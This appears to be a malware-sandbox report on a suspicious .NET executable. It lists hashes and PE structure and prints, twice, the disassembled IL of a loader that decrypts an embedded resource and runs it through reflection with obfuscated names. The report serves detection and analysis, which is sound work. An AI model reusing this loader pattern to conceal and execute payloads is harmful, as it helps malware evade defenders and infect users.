Suspicious
Suspect

a3db22547419f693905d3dd045ee9f84

PE Executable
MD5: a3db22547419f693905d3dd045ee9f84
Size: 342.02 KB
application/x-dosexec

Get an AI-generated breakdown of this malware's behaviour, IOCs and recommendations.

AI analysis is available with Essential.
Unlock with Essential
Symbol Obfuscation Score Very low
MD5 a3db22547419f693905d3dd045ee9f84
Sha1 30bc73c6672e6c46d21086a04762ce4170fd4e99
Sha256 9a7fdfd933725c6cc3345da81b6ee2d6903e225f961aa18efa5b5a9447f4b015
Sha384 2055fa9437b1c3fa2d70e14e001179c2cff74b205b25fd8cab4c687f2e38ff8f3c999859f11d18852dfae8fd73976e7e
Sha512 b26ab83f217240825adc241bba3cda9ec5532d7aee6ba73fbd3ce0696a643c7aee10a7b2e2bff0c388300c1b251ef69e9f222e4d987c306856fac4c6eeb7dd53
SSDeep 6144:Q7D28gMOVSheJGlkR7/E03JClJXI9QzeLWsw1BhaaV7PaCSfA9W6JD2J:Q7D2okagZ603oJiQzcWb1rvV7b3
TLSH D674230BAF946018E72D0D3F61BA429C05F4DE5F416BF5C77ACC627A1A3628D0253AED
PeID
.NET executableMicrosoft Visual C# / Basic .NETMicrosoft Visual C# / Basic.NET / MS Visual Basic 2005 - ASL Microsoft Visual C# v7.0 / Basic .NETMicrosoft Visual Studio .NET
a3db22547419f693905d3dd045ee9f84
Structure
DosHeader
PE Header
Optional Header (x86)
Section Headers
.text
.rsrc
.reloc
Resources
RT_VERSION
ID:0001
ID:0
.Net Resources
Data
Painting
STICH beta

No STICH Path has been generated for this analysis yet.

2 structural branches were classified as secondary (decorative or non-determinant content) and did not produce a fingerprint.

bin 2
Name Value
Info
PE Detect: PeReader OK (file layout)
Module Name
Actor.Toe
Full Name
Actor.Toe
EntryPoint
System.Int32 Actor.Producer::Participant(System.String[])
Scope Name
Actor.Toe
Scope Type
ModuleDef
Kind
Windows
Runtime Version
v2.0.50727
Tables Header Version
512
WinMD Version
<null>
Assembly Name
Actor
Assembly Version
19.4.4.8
Assembly Culture
<null>
Has PublicKey
False
PublicKey Token
<null>
Target Framework
<null>
Total Strings
60
Main Method
System.Int32 Actor.Producer::Participant(System.String[])
Main IL Instruction Count
113
Main IL 
newobj System.Void System.IO.MemoryStream::.ctor()
stloc.s V_4
call System.Reflection.Assembly System.Reflection.Assembly::GetExecutingAssembly()
ldstr aDta
ldc.i4 149
call System.String Whole.Shine.Run::Administrator(System.String,System.Byte)
callvirt System.IO.Stream System.Reflection.Assembly::GetManifestResourceStream(System.String)
stloc.s V_5
ldloc.s V_5
brtrue.s IL_002E: ldc.i4 512
ldc.i4.1 <null>
stloc.s V_7
leave IL_0126: ldloc.s V_7
ldc.i4 512
newarr System.Byte
stloc.s V_6
ldloc.s V_5
ldloc.s V_6
ldc.i4.0 <null>
ldloc.s V_6
ldlen <null>
conv.i4 <null>
callvirt System.Int32 System.IO.Stream::Read(System.Byte[],System.Int32,System.Int32)
stloc.s V_8
br.s IL_0068: ldloc.s V_8
ldloc.s V_4
ldloc.s V_6
ldc.i4.0 <null>
ldloc.s V_8
callvirt System.Void System.IO.Stream::Write(System.Byte[],System.Int32,System.Int32)
ldloc.s V_5
ldloc.s V_6
ldc.i4.0 <null>
ldloc.s V_6
ldlen <null>
conv.i4 <null>
callvirt System.Int32 System.IO.Stream::Read(System.Byte[],System.Int32,System.Int32)
stloc.s V_8
ldloc.s V_8
ldc.i4.0 <null>
bgt.s IL_004C: ldloc.s V_4
ldloc.s V_4
callvirt System.Byte[] System.IO.MemoryStream::ToArray()
ldsfld System.Byte Actor.Producer::Considerable
call System.Byte[] Whole.Shine.Deliver::School(System.Byte[],System.Byte)
call System.Byte[] Actor.Super::Knowledge(System.Byte[])
stloc.0 <null>
leave.s IL_0092: ldtoken System.Reflection.Assembly
ldloc.s V_4
brfalse.s IL_0091: endfinally
ldloc.s V_4
callvirt System.Void System.IDisposable::Dispose()
endfinally <null>
ldtoken System.Reflection.Assembly
call System.Type System.Type::GetTypeFromHandle(System.RuntimeTypeHandle)
ldstr aoLd
ldc.i4 150
call System.String Whole.Shine.Run::Administrator(System.String,System.Byte)
ldc.i4.1 <null>
newarr System.Type
dup <null>
ldc.i4.0 <null>
ldtoken System.Byte[]
call System.Type System.Type::GetTypeFromHandle(System.RuntimeTypeHandle)
stelem.ref <null>
call System.Reflection.MethodInfo System.Type::GetMethod(System.String,System.Type[])
ldnull <null>
ldc.i4.1 <null>
newarr System.Object
dup <null>
ldc.i4.0 <null>
ldloc.0 <null>
stelem.ref <null>
callvirt System.Object System.Reflection.MethodBase::Invoke(System.Object,System.Object[])
stloc.1 <null>
ldloc.1 <null>
callvirt System.Type System.Object::GetType()
ldstr yrintEtPon
ldc.i4.s 37
call System.String Whole.Shine.Run::Administrator(System.String,System.Byte)
callvirt System.Reflection.PropertyInfo System.Type::GetProperty(System.String)
ldloc.1 <null>
ldnull <null>
callvirt System.Object System.Reflection.PropertyInfo::GetValue(System.Object,System.Object[])
castclass System.Reflection.MethodInfo
dup <null>
callvirt System.Reflection.ParameterInfo[] System.Reflection.MethodBase::GetParameters()
stloc.2 <null>
ldnull <null>
ldloc.2 <null>
ldlen <null>
brfalse.s IL_010F: ldnull
ldc.i4.1 <null>
newarr System.String[]
dup <null>
ldc.i4.0 <null>
ldarg.0 <null>
stelem.ref <null>
br.s IL_0110: stloc.s V_9
ldnull <null>
stloc.s V_9
ldloc.s V_9
callvirt System.Object System.Reflection.MethodBase::Invoke(System.Object,System.Object[])
stloc.3 <null>
ldloc.3 <null>
brfalse.s IL_0124: ldc.i4.0
ldloc.3 <null>
unbox.any System.Int32
ret <null>
ldc.i4.0 <null>
ret <null>
ldloc.s V_7
ret <null>
Module Name
Actor.Toe
Full Name
Actor.Toe
EntryPoint
System.Int32 Actor.Producer::Participant(System.String[])
Scope Name
Actor.Toe
Scope Type
ModuleDef
Kind
Windows
Runtime Version
v2.0.50727
Tables Header Version
512
WinMD Version
<null>
Assembly Name
Actor
Assembly Version
19.4.4.8
Assembly Culture
<null>
Has PublicKey
False
PublicKey Token
<null>
Target Framework
<null>
Total Strings
60
Main Method
System.Int32 Actor.Producer::Participant(System.String[])
Main IL Instruction Count
113
Main IL 
newobj System.Void System.IO.MemoryStream::.ctor()
stloc.s V_4
call System.Reflection.Assembly System.Reflection.Assembly::GetExecutingAssembly()
ldstr aDta
ldc.i4 149
call System.String Whole.Shine.Run::Administrator(System.String,System.Byte)
callvirt System.IO.Stream System.Reflection.Assembly::GetManifestResourceStream(System.String)
stloc.s V_5
ldloc.s V_5
brtrue.s IL_002E: ldc.i4 512
ldc.i4.1 <null>
stloc.s V_7
leave IL_0126: ldloc.s V_7
ldc.i4 512
newarr System.Byte
stloc.s V_6
ldloc.s V_5
ldloc.s V_6
ldc.i4.0 <null>
ldloc.s V_6
ldlen <null>
conv.i4 <null>
callvirt System.Int32 System.IO.Stream::Read(System.Byte[],System.Int32,System.Int32)
stloc.s V_8
br.s IL_0068: ldloc.s V_8
ldloc.s V_4
ldloc.s V_6
ldc.i4.0 <null>
ldloc.s V_8
callvirt System.Void System.IO.Stream::Write(System.Byte[],System.Int32,System.Int32)
ldloc.s V_5
ldloc.s V_6
ldc.i4.0 <null>
ldloc.s V_6
ldlen <null>
conv.i4 <null>
callvirt System.Int32 System.IO.Stream::Read(System.Byte[],System.Int32,System.Int32)
stloc.s V_8
ldloc.s V_8
ldc.i4.0 <null>
bgt.s IL_004C: ldloc.s V_4
ldloc.s V_4
callvirt System.Byte[] System.IO.MemoryStream::ToArray()
ldsfld System.Byte Actor.Producer::Considerable
call System.Byte[] Whole.Shine.Deliver::School(System.Byte[],System.Byte)
call System.Byte[] Actor.Super::Knowledge(System.Byte[])
stloc.0 <null>
leave.s IL_0092: ldtoken System.Reflection.Assembly
ldloc.s V_4
brfalse.s IL_0091: endfinally
ldloc.s V_4
callvirt System.Void System.IDisposable::Dispose()
endfinally <null>
ldtoken System.Reflection.Assembly
call System.Type System.Type::GetTypeFromHandle(System.RuntimeTypeHandle)
ldstr aoLd
ldc.i4 150
call System.String Whole.Shine.Run::Administrator(System.String,System.Byte)
ldc.i4.1 <null>
newarr System.Type
dup <null>
ldc.i4.0 <null>
ldtoken System.Byte[]
call System.Type System.Type::GetTypeFromHandle(System.RuntimeTypeHandle)
stelem.ref <null>
call System.Reflection.MethodInfo System.Type::GetMethod(System.String,System.Type[])
ldnull <null>
ldc.i4.1 <null>
newarr System.Object
dup <null>
ldc.i4.0 <null>
ldloc.0 <null>
stelem.ref <null>
callvirt System.Object System.Reflection.MethodBase::Invoke(System.Object,System.Object[])
stloc.1 <null>
ldloc.1 <null>
callvirt System.Type System.Object::GetType()
ldstr yrintEtPon
ldc.i4.s 37
call System.String Whole.Shine.Run::Administrator(System.String,System.Byte)
callvirt System.Reflection.PropertyInfo System.Type::GetProperty(System.String)
ldloc.1 <null>
ldnull <null>
callvirt System.Object System.Reflection.PropertyInfo::GetValue(System.Object,System.Object[])
castclass System.Reflection.MethodInfo
dup <null>
callvirt System.Reflection.ParameterInfo[] System.Reflection.MethodBase::GetParameters()
stloc.2 <null>
ldnull <null>
ldloc.2 <null>
ldlen <null>
brfalse.s IL_010F: ldnull
ldc.i4.1 <null>
newarr System.String[]
dup <null>
ldc.i4.0 <null>
ldarg.0 <null>
stelem.ref <null>
br.s IL_0110: stloc.s V_9
ldnull <null>
stloc.s V_9
ldloc.s V_9
callvirt System.Object System.Reflection.MethodBase::Invoke(System.Object,System.Object[])
stloc.3 <null>
ldloc.3 <null>
brfalse.s IL_0124: ldc.i4.0
ldloc.3 <null>
unbox.any System.Int32
ret <null>
ldc.i4.0 <null>
ret <null>
ldloc.s V_7
ret <null>
a3db22547419f693905d3dd045ee9f84
Structure
DosHeader
PE Header
Optional Header (x86)
Section Headers
.text
.rsrc
.reloc
Resources
RT_VERSION
ID:0001
ID:0
.Net Resources
Data
Painting
No malware configuration was found at this point.
You must be signed in to view YARA rules.
An error has occurred. This application may no longer respond until reloaded. Reload 🗙